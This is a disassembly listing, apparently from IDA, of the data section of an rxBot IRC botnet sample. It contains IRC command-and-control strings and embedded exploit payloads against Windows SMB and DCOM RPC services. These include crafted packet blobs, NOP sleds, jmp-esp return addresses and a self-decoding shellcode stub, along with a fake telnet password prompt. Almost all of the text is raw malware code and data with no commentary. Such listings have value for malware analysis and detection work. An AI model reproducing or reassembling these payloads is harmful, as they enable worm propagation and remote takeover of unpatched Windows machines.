; DATA XREF: sub_40849F+166o ; sub_40849F+238o align 4 aLatency db '$latency',0 ; DATA XREF: sub_40849F+14Bo ; sub_40849F+21Do align 4 aFree_0 db '$free',0 ; DATA XREF: sub_40849F+130o ; sub_40849F+202o align 4 aVersion db '$version',0 ; DATA XREF: sub_40849F+115o ; sub_40849F+1E7o align 4 aUptime db '$uptime',0 ; DATA XREF: sub_40849F+EEo ; sub_40849F+1C0o a32s16s32s db '%32s %16s %32s',0 ; DATA XREF: sub_40849F+9Co align 10h asc_413E50 db '&&',0 ; DATA XREF: sub_40849F+6Ao align 4 asc_413E54: ; DATA XREF: sub_40849F+21o unicode 0, <)>,0 aExecutingComma db 'Executing command(s): %s',0 ; DATA XREF: sub_4087CE+46o align 4 a6667 db '6667',0 ; DATA XREF: sub_408832:loc_40885Do align 4 aCSCCUCUSCCC db '%c%s%c%c%u%c%u%s%c%c%c',0 ; DATA XREF: sub_4088FC+230o ; sub_408F9D+384o align 4 aG: ; DATA XREF: sub_4088FC+1AFo ; sub_408F9D+303o unicode 0, <G>,0 aA: ; DATA XREF: sub_4088FC+1A3o ; sub_408F9D+2F7o unicode 0, <A>,0 aB: ; DATA XREF: sub_4088FC+19Co ; sub_408F9D+2F0o unicode 0, <B>,0 aUnk db 'UNK',0 ; DATA XREF: sub_4088FC+167o ; sub_408F9D+2BCo aUserSSSS db 'USER %s %s %s :%s',0 ; DATA XREF: sub_4088FC+C7o align 4 aPassS db 'PASS %s',0 ; DATA XREF: sub_4088FC+3Do aNoticeS db 'NOTICE %s :',0 ; DATA XREF: sub_408C6C+16o ; sub_408D50+2Eo aPrivmsgS db 'PRIVMSG %s :',0 ; DATA XREF: sub_408CDE+16o ; sub_408D50:loc_408DA5o align 4 dword_413EDC dd 1 ; DATA XREF: sub_408D50+CDo dword_413EE0 dd 7373656Dh, 20656761h, 0 ; DATA XREF: sub_408D50+8Ao dword_413EEC dd 49544F4Eh, 25204543h, 13A2073h, 0 ; DATA XREF: sub_408D50+4Eo dword_413EFC dd 56495250h, 2047534Dh, 3A207325h, 1 ; DATA XREF: sub_408D50+3Eo aMirc db 'mIRC',0 ; DATA XREF: sub_408EBA+2o ; sub_408EC8+1Co align 4 asc_413F14: ; DATA XREF: sub_408F9D+890o unicode 0, <*>,0 aNotice db 'NOTICE',0 ; DATA XREF: sub_408F9D:loc_40966Co ; sub_4098BB+70o align 10h asc_413F20 db '][',0 ; DATA XREF: sub_408F9D+607o align 4 a332 db '332',0 ; DATA XREF: sub_408F9D:loc_409513o aNick db 'NICK',0 ; DATA XREF: sub_408F9D:loc_4094D9o align 10h a@: ; DATA XREF: sub_408F9D+4E4o unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_408F9D:loc_409463o ; sub_4098BB+2Fo a451 db '451',0 ; DATA XREF: sub_408F9D:loc_409446o aUserhostS db 'USERHOST %s',0 ; DATA XREF: sub_408F9D+487o aModeSXi db 'MODE %s +xi',0 ; DATA XREF: sub_408F9D+437o a001 db '001',0 ; DATA XREF: sub_408F9D:loc_40939Eo aModeSSmntu db 'MODE %s +smntu',0 ; DATA XREF: sub_408F9D+3F7o align 4 aJoin db 'JOIN',0 ; DATA XREF: sub_408F9D:loc_40935Fo align 10h aError db 'ERROR',0 ; DATA XREF: sub_408F9D:loc_409340o align 4 a433 db '433',0 ; DATA XREF: sub_408F9D:loc_4091DCo dword_413F7C dd 52455601h, 4E4F4953h, 1732520h, 0 ; DATA XREF: sub_408F9D+22Bo aEggdropV1_6_16 db 'eggdrop v1.6.16',0 ; DATA XREF: sub_408F9D:loc_4091C3o dword_413F9C dd 52455601h, 4E4F4953h, 6E696C20h, 2576206Bh, 30252E64h ; DATA XREF: sub_408F9D+211o dd 73256433h, 69572820h, 2932336Eh, 1 dword_413FC0 dd 4950013Ah, 1474Eh ; DATA XREF: sub_408F9D+1DAo dword_413FC8 dd 4950013Ah, 474Eh ; DATA XREF: sub_408F9D+1C7o dword_413FD0 dd 4556013Ah, 4F495352h, 14Eh ; DATA XREF: sub_408F9D+1B4o dword_413FDC dd 4556013Ah, 4F495352h, 4Eh ; DATA XREF: sub_408F9D:loc_40913Eo aSend db 'SEND',0 ; DATA XREF: sub_408F9D+AFo align 10h dword_413FF0 dd 4344013Ah, 43h ; DATA XREF: sub_408F9D+8Fo aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_408F9D+61o ; sub_408F9D+69Eo ... aMode db 'MODE',0 ; DATA XREF: sub_408F9D+4Ao align 4 aPong db 'PONG',0 ; DATA XREF: sub_408F9D:loc_408FD0o align 10h aPongS db 'PONG %s',0 ; DATA XREF: sub_408F9D+24o aPing db 'PING',0 ; DATA XREF: sub_408F9D+Fo align 10h aLinkLink@link db 'link!link@link',0 ; DATA XREF: sub_4098BB:loc_4099B0o align 10h byte_414030 db 41h ; DATA XREF: sub_409AB1:loc_409ABFr ; sub_409B9F+15r ... aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 4 unk_414074 db 2Dh ; - ; DATA XREF: sub_40AC87+8Eo ; sub_40DA07+52o db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 db 2Eh, 3, 30h db 34h ; 4 db 2, 25h, 73h db 3 db 2, 2Dh, 20h aU_RawTransferT db '%u. Raw transfer to %s complete.',0 align 4 aTelnet db 'telnet',0 ; DATA XREF: sub_40AC87+88o align 4 aUserAccessVeri db 0Dh,0Ah ; DATA XREF: sub_40AC87+66o db 0Dh,0Ah db 'User Access Verification',0Dh,0Ah db 0Dh,0Ah db 'Password:',0 align 10h dword_4140E0 dd 0FF01FBFFh, 0FDFF03FBh, 1FFDFF18h, 0 ; DATA XREF: sub_40AC87+37o dword_4140F0 dd 1130h, 0 ; DATA XREF: sub_40AD2B+51o ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0F5h, 28h, 5Ch dd 400DC28Fh, 5 dup(0) dd 1, 0 dword_41411C dd 77777777h ; DATA XREF: sub_40AE3D+157r dd 77777776h, 77777775h, 77F326C6h, 77F29267h, 77777772h dd 77F9D463h dword_414138 dd 750362C3h ; DATA XREF: sub_40AE3D+169r dd 75035173h, 3 dup(717564B8h) dword_41414C dd 71AB7BFBh ; DATA XREF: sub_40AE3D+17Br dd 773AD507h, 7C941EEDh dword_414158 dd 77DB565Ch ; DATA XREF: sub_40AE3D:loc_40AFC1r dd 77FD1F89h, 2 dup(77E216B8h) ; --------------------------------------------------------------------------- loc_414168: ; DATA XREF: sub_40AE3D+140o ; seg000:0040B1F3o jmp short loc_41416E ; --------------------------------------------------------------------------- align 4 loc_41416C: ; DATA XREF: sub_40AE3D+11Fo xor ebp, [esi] loc_41416E: ; CODE XREF: .data:loc_414168j aaa xor ch, [esi] xor [esi], ch xor [eax], al ; --------------------------------------------------------------------------- db 3 dup(0) a131_131_131_13 db '131.131.131.131',0 ; DATA XREF: sub_40AE3D+114o aRxbot_paradise db 'rxbot_paradise',0 ; DATA XREF: sub_40AE3D+101o align 4 a121204131313 db '12/12/04 13:13:13',0 ; DATA XREF: sub_40AE3D+EEo align 4 aRxbotWasHere db 'rxbot was here',0 ; DATA XREF: sub_40AE3D+D8o align 4 aRxbot db 'rxbot',0 ; DATA XREF: sub_40AE3D+C5o align 4 dword_4141C4 dd 2710h ; DATA XREF: sub_40AE3D+88o ; seg000:0040B1A4o dword_4141C8 dd 1130h, 0 ; DATA XREF: sub_40B00A+51o ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0F5h, 28h, 5Ch dd 400DC28Fh, 5 dup(0) dd 1, 0 dword_4141F4 dd 0FFCA8166h, 6A52420Fh, 2ECD5802h, 745A053Ch, 5E21B8EFh ; DATA XREF: seg000:0040B1E0o dd 0FA8B4A9Dh, 0AFEA75AFh, 0E7FFE775h, 0 dword_414218 dd 2 dup(4A9D5E21h), 0 ; DATA XREF: seg000:0040B1B7o dword_414224 dd 77777777h ; DATA XREF: seg000:0040B209r dd 77777776h, 77777775h, 77F326C6h, 77F29267h, 77777772h dd 77F32836h dword_414240 dd 750362C3h ; DATA XREF: seg000:0040B21Ar dd 75035173h, 3 dup(7C2FA0F7h) dword_414254 dd 71AB7BFBh ; DATA XREF: seg000:0040B22Br dd 71AB7BFBh, 7C941EEDh dword_414260 dd 77E216B8h ; DATA XREF: seg000:loc_40B234r dd 77FD1F89h, 2 dup(77E216B8h) dword_414270 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: sub_40B27D+38o dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 aFxnbfxfxnbfxfx: ; DATA XREF: sub_40B32A+94o unicode 0, <FXNBFXFXNBFXFXFXFX>,0 align 4 db 0CCh db 0E0h, 0FDh, 7Fh db 0CCh db 0E0h, 0FDh, 7Fh align 10h dword_4142F0 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 ; DATA XREF: sub_40B32A+6Co dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dword_414654 dd 20h, 0 ; DATA XREF: sub_40B32A+81o dd 20h, 5C005Ch, 0 aC1234561111111: ; DATA XREF: sub_40B32A+CCo unicode 0, <\C$\123456111111111111111.doc>,0 align 8 dword_4146A8 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40B32A+E5o dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) dword_4146DC dd 2180310h ; DATA XREF: sub_40B32A+13Co dword_4146E0 dd 10016C6h ; DATA XREF: sub_40B32A+133o dword_4146E4 dd 100139Dh ; DATA XREF: sub_40B32A+12Ao dword_4146E8 dd 1001C55h ; DATA XREF: sub_40B32A+113o dword_4146EC dd 1001C98h ; DATA XREF: sub_40B32A:loc_40B444o dword_4146F0 dd 5F5C0A0Dh, 2E2Fh ; DATA XREF: sub_40B32A+Eo ; sub_40B4D5+53o ... dword_4146F8 dd 30B0005h, 10h, 48h, 0 ; DATA XREF: sub_40B4D5+14o dd 16D016D0h, 0 dd 1, 10000h, 4D9F4AB8h, 11CF7D1Ch, 20001E86h, 577C6EAFh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_414744 dd 3000005h, 10h, 5 dup(0) ; DATA XREF: sub_40B4D5+11Eo dword_414760 dd 10005h, 2 dup(0) ; DATA XREF: sub_40B4D5+131o dd 75757D58h, 47C6EB40h, 0A74E71BCh, 97B5D01Ch, 5 dup(0) dd 90000h, 300h, 0 dd 300h, 5C005Ch, 0 dword_4147A8 dd 0 ; DATA XREF: sub_40B4D5+266o dd 2, 0 dd 1, 91C68h, 1, 2 dup(0) dd 0C0h, 46000000h, 2 dup(1), 7 ; --------------------------------------------------------------------------- loc_4147DC: ; DATA XREF: sub_40B4D5+100o mov eax, [esp-4] add eax, 0FFFFFAE0h jmp eax ; --------------------------------------------------------------------------- align 4 loc_4147E8: ; DATA XREF: sub_40B4D5+B0o mov eax, [ebp+30h] add eax, 0FFFFFB24h jmp eax ; --------------------------------------------------------------------------- align 4 loc_4147F4: ; DATA XREF: sub_40B4D5+154o jmp short loc_414806 ; --------------------------------------------------------------------------- jmp short loc_414811 ; --------------------------------------------------------------------------- dd 0 ; --------------------------------------------------------------------------- loc_4147FC: ; DATA XREF: sub_40B4D5+1B3o jmp short near ptr word_414802 ; --------------------------------------------------------------------------- dw 0FFFFh db 2 dup(0FFh) word_414802 dw 0 ; CODE XREF: .data:loc_4147FCj ; --------------------------------------------------------------------------- loc_414804: ; DATA XREF: sub_40B4D5+1D6o jmp short near ptr word_41480A ; --------------------------------------------------------------------------- loc_414806: ; CODE XREF: .data:loc_4147F4j ; .data:loc_414824j jmp short loc_41480C ; --------------------------------------------------------------------------- db 2 dup(0) word_41480A dw 0 ; CODE XREF: .data:loc_414804j ; --------------------------------------------------------------------------- loc_41480C: ; CODE XREF: .data:loc_414806j ; DATA XREF: sub_40B4D5+1FCo jmp short near ptr loc_414811+1 ; --------------------------------------------------------------------------- dw 0FFFFh db 0FFh ; --------------------------------------------------------------------------- loc_414811: ; CODE XREF: .data:004147F6j ; .data:loc_41480Cj inc dword ptr [eax] ; --------------------------------------------------------------------------- db 0 off_414814 dd offset loc_41005C ; DATA XREF: sub_40B4D5+24Fo align 10h dword_414820 dd 77F33723h ; DATA XREF: sub_40B4D5+17Ao ; --------------------------------------------------------------------------- loc_414824: ; DATA XREF: sub_40B4D5+190o jmp short loc_414806 ; --------------------------------------------------------------------------- dw 7FFDh ; --------------------------------------------------------------------------- loc_414828: ; DATA XREF: sub_40B4D5+167o lahf jnz short loc_414843 loc_41482B: ; DATA XREF: sub_40B4D5+F0o add [ecx+1Ch], bl loc_41482E: ; CODE XREF: .data:loc_414838j add [ecx], al loc_414830: ; DATA XREF: sub_40B4D5+D0o or ecx, [ebx] sbb eax, [eax] loc_414834: ; DATA XREF: sub_40B4D5+E0o jmp short near ptr dword_41483C ; --------------------------------------------------------------------------- align 4 loc_414838: ; DATA XREF: sub_40B4D5+C0o jmp short loc_41482E ; --------------------------------------------------------------------------- align 4 dword_41483C dd 85000000h ; CODE XREF: .data:loc_414834j ; DATA XREF: sub_40BB6E+4Fo ; --------------------------------------------------------------------------- call dword ptr [ebx+4Dh] loc_414843: ; CODE XREF: .data:00414829j inc edx jb short $+2 ; --------------------------------------------------------------------------- dw 0 dd 0C8531800h, 3 dup(0) dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_4148C8 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40BB6E+8Co dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 10h dd 0 dword_414974 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40BB6E+BFo dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_414A54 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40B7A2+76o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC_0: ; DATA XREF: sub_40B7A2+9Do unicode 0, <C$>,0 a????? db '?????',0 align 8 dword_414AB8 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40B7A2+102o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_414B24 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40B7A2+13Bo dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_414BC8 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40B7A2+36Eo dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_414C48 dd offset loc_401494+1 ; DATA XREF: sub_40B7A2+39Bo dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_414CDC dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40B7A2+23Eo dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_414D48 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40B7A2+269o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_414DBC dd 0 ; DATA XREF: sub_40B7A2+29Ao dd offset loc_40A89A dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_414E44 proc near ; DATA XREF: sub_40B7A2+35Bo sub sp, 71Ch jmp esp sub_414E44 endp ; --------------------------------------------------------------------------- align 4 dword_414E4C dd 1004600h, 7515123Ch, 751C123Ch ; DATA XREF: sub_40B7A2+348o ; --------------------------------------------------------------------------- loc_414E58: ; DATA XREF: sub_40B7A2+1C1o jmp short loc_414E60 ; --------------------------------------------------------------------------- dw 6EBh align 10h loc_414E60: ; CODE XREF: .data:loc_414E58j ; DATA XREF: sub_40BCAB+A0o ... mov edx, 5042B68Ah push ds loc_414E66: ; DATA XREF: sub_40BCAB+54o rol byte ptr [edx+12h], 1 add [eax], eax xor al, 0 ; --------------------------------------------------------------------------- db 3 dup(0) dd 150000h, 1B000106h, 20100h, 30C001Ch, 4002800h, 20008FFh dd 10h, 0 dword_414E90 dd 34EEA51Bh, 0 ; DATA XREF: sub_40BCAB+7Co dword_414E98 dd 12400h, 0 ; DATA XREF: sub_40BCAB+136o a3333 db '3333',0 ; DATA XREF: sub_40BCAB+D6o align 4 aCccc db 'CCCC',0 ; DATA XREF: sub_40BCAB+8Eo align 10h dword_414EB0 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40BE08+4Eo dd 0FEFF0000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_414F3C dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40BE08+9Do dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows20002_0: unicode 0, <Windows 2000 2195>,0 aWindows20005_1: unicode 0, <Windows 2000 5.0>,0 align 8 dword_414FE8 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40BE08+D5o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 41ED0000h, 2686272Ch dd 0B3A059D2h, 8800AA5Eh, 57C56Fh, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_4150C8 dd 5A000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40BE08+11Do dd 0FEFF0000h, 300800h, 5A00FF04h, 1000800h, 2F00h, 0 dword_4150FC dd 3F3F0000h, 3F3F3Fh, 0 ; DATA XREF: sub_40BE08+15Fo dword_415108 dd 66000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40BE08+1DAo dd 4780800h, 400800h, 0DE00FF18h, 1000DEh, 16h, 0 dd 2019Fh, 4 dup(0) dd 1, 40h, 2, 1303h, 62005Ch, 6F0072h, 730077h, 720065h dd 0 dword_415174 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40BE08+21Fo dd 4780800h, 500800h, 48000010h, 0 dd 10h, 2 dup(0) dd 48005400h, 2005400h, 2600h, 5940h, 50005Ch, 500049h dd 5C0045h, 400000h, 30B0005h, 10h, 48h, 1, 10B810B8h dd 0 dd 1, 10000h, 8D9F4E40h, 11CEA03Dh, 8698Fh, 1B05303Eh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_415218 dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40BE08+280o dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0) dd 3C005400h, 2005408h, 2600h, 84D40h, 50005Ch, 500049h dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h dd 11h, 0 dd 11h, 4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh dd 2 dup(300030h), 0 dd 0FFFFh, 7E0h, 2 dup(0) dd 7C0h, 0 db 8 dup(90h) ; --------------------------------------------------------------------------- jmp short loc_4152E2 ; --------------------------------------------------------------------------- align 4 dd 767A1567h ; --------------------------------------------------------------------------- jmp short loc_4152EA ; --------------------------------------------------------------------------- loc_4152E2: ; CODE XREF: .data:004152D8j nop nop db 67h adc eax, 8EB767Ah loc_4152EA: ; CODE XREF: .data:004152E0j nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 9090767Ah nop nop nop nop nop jmp short loc_415339 ; --------------------------------------------------------------------------- db 2 dup(90h) db 48h dd 9088444Fh db 90h ; --------------------------------------------------------------------------- loc_415339: ; CODE XREF: .data:0041532Fj nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; --------------------------------------------------------------------------- dd 0 dword_41534C dd 90080000h, 424D53FFh ; DATA XREF: sub_40BE08:loc_40C08Fo db 25h byte_415355 db 3 dup(0) ; DATA XREF: .data:off_4130CCo dd 0C8071800h, 3 dup(0) dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0) dd 3C005400h, 2005408h, 2600h, 84D40h, 50005Ch, 500049h dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h dd 11h, 0 dd 11h, 4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh dd 2 dup(300030h), 0 dd 0FFFFh, 7E0h, 2 dup(0) dd 7C0h, 0 db 8 dup(90h) ; --------------------------------------------------------------------------- jmp short loc_415416 ; --------------------------------------------------------------------------- align 10h dd 767A1567h ; --------------------------------------------------------------------------- jmp short loc_41541E ; --------------------------------------------------------------------------- loc_415416: ; CODE XREF: .data:0041540Cj nop nop db 67h adc eax, 8EB767Ah loc_41541E: ; CODE XREF: .data:00415414j nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop jns short near ptr word_41548E add [ecx], eax jmp short loc_41545E ; --------------------------------------------------------------------------- align 4 dd 767A1567h db 2 dup(90h) ; --------------------------------------------------------------------------- loc_41545E: ; CODE XREF: .data:00415454j nop nop nop nop nop jmp short loc_41546D ; --------------------------------------------------------------------------- db 2 dup(90h) db 48h dd 9088444Fh db 90h ; --------------------------------------------------------------------------- loc_41546D: ; CODE XREF: .data:00415463j nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; --------------------------------------------------------------------------- dd 0 dword_415480 dd 7E0h, 4, 0 ; DATA XREF: sub_40BE08+2B9o db 2 dup(0) word_41548E dw 0 ; CODE XREF: .data:00415450j dword_415490 dd 0D0EC8166h, 7 ; DATA XREF: sub_40C225+D9o dword_415498 dd 129F74h, 0 ; DATA XREF: sub_40C225+380o dword_4154A0 dd 127D78h, 0 ; DATA XREF: sub_40C225+3E5o ; =============== S U B R O U T I N E ======================================= sub_4154A8 proc near ; DATA XREF: sub_40C225+10Bo ; FUNCTION CHUNK AT 004154AE SIZE 00000049 BYTES pusha jmp short loc_4154AE sub_4154A8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4154AB proc near ; CODE XREF: sub_4154A8:loc_4154AEp pop ebx push ebx retn sub_4154AB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4154A8 loc_4154AE: ; CODE XREF: sub_4154A8+1j call sub_4154AB xor eax, eax add al, 34h add eax, ebx push eax pop ebx loc_4154BB: ; CODE XREF: sub_4154A8+3Cj xor edx, edx add dl, [eax] inc eax add dh, [eax] inc eax push eax xor eax, eax add al, 41h sub dl, al sub dh, al shl dl, 4 shr dx, 4 xor eax, eax xor dh, dh add al, [ebx] sub [ebx], al add [ebx], dx inc ebx pop eax xor ecx, ecx add cl, [eax] loopne loc_4154BB popa loc_4154E7: ; DATA XREF: sub_40C225+EAr add [ebx+31h], al loc_4154EA: ; DATA XREF: sub_40C225+E4r mov ebp, 7FC77h loc_4154EF: ; DATA XREF: sub_40C225:loc_40C540r ; sub_40C225+348r ... add [ecx], al inc ebx loc_4154F2: ; CODE XREF: sub_4154A8+4Cj xor eax, eax ja short loc_4154F2 pop es ; END OF FUNCTION CHUNK 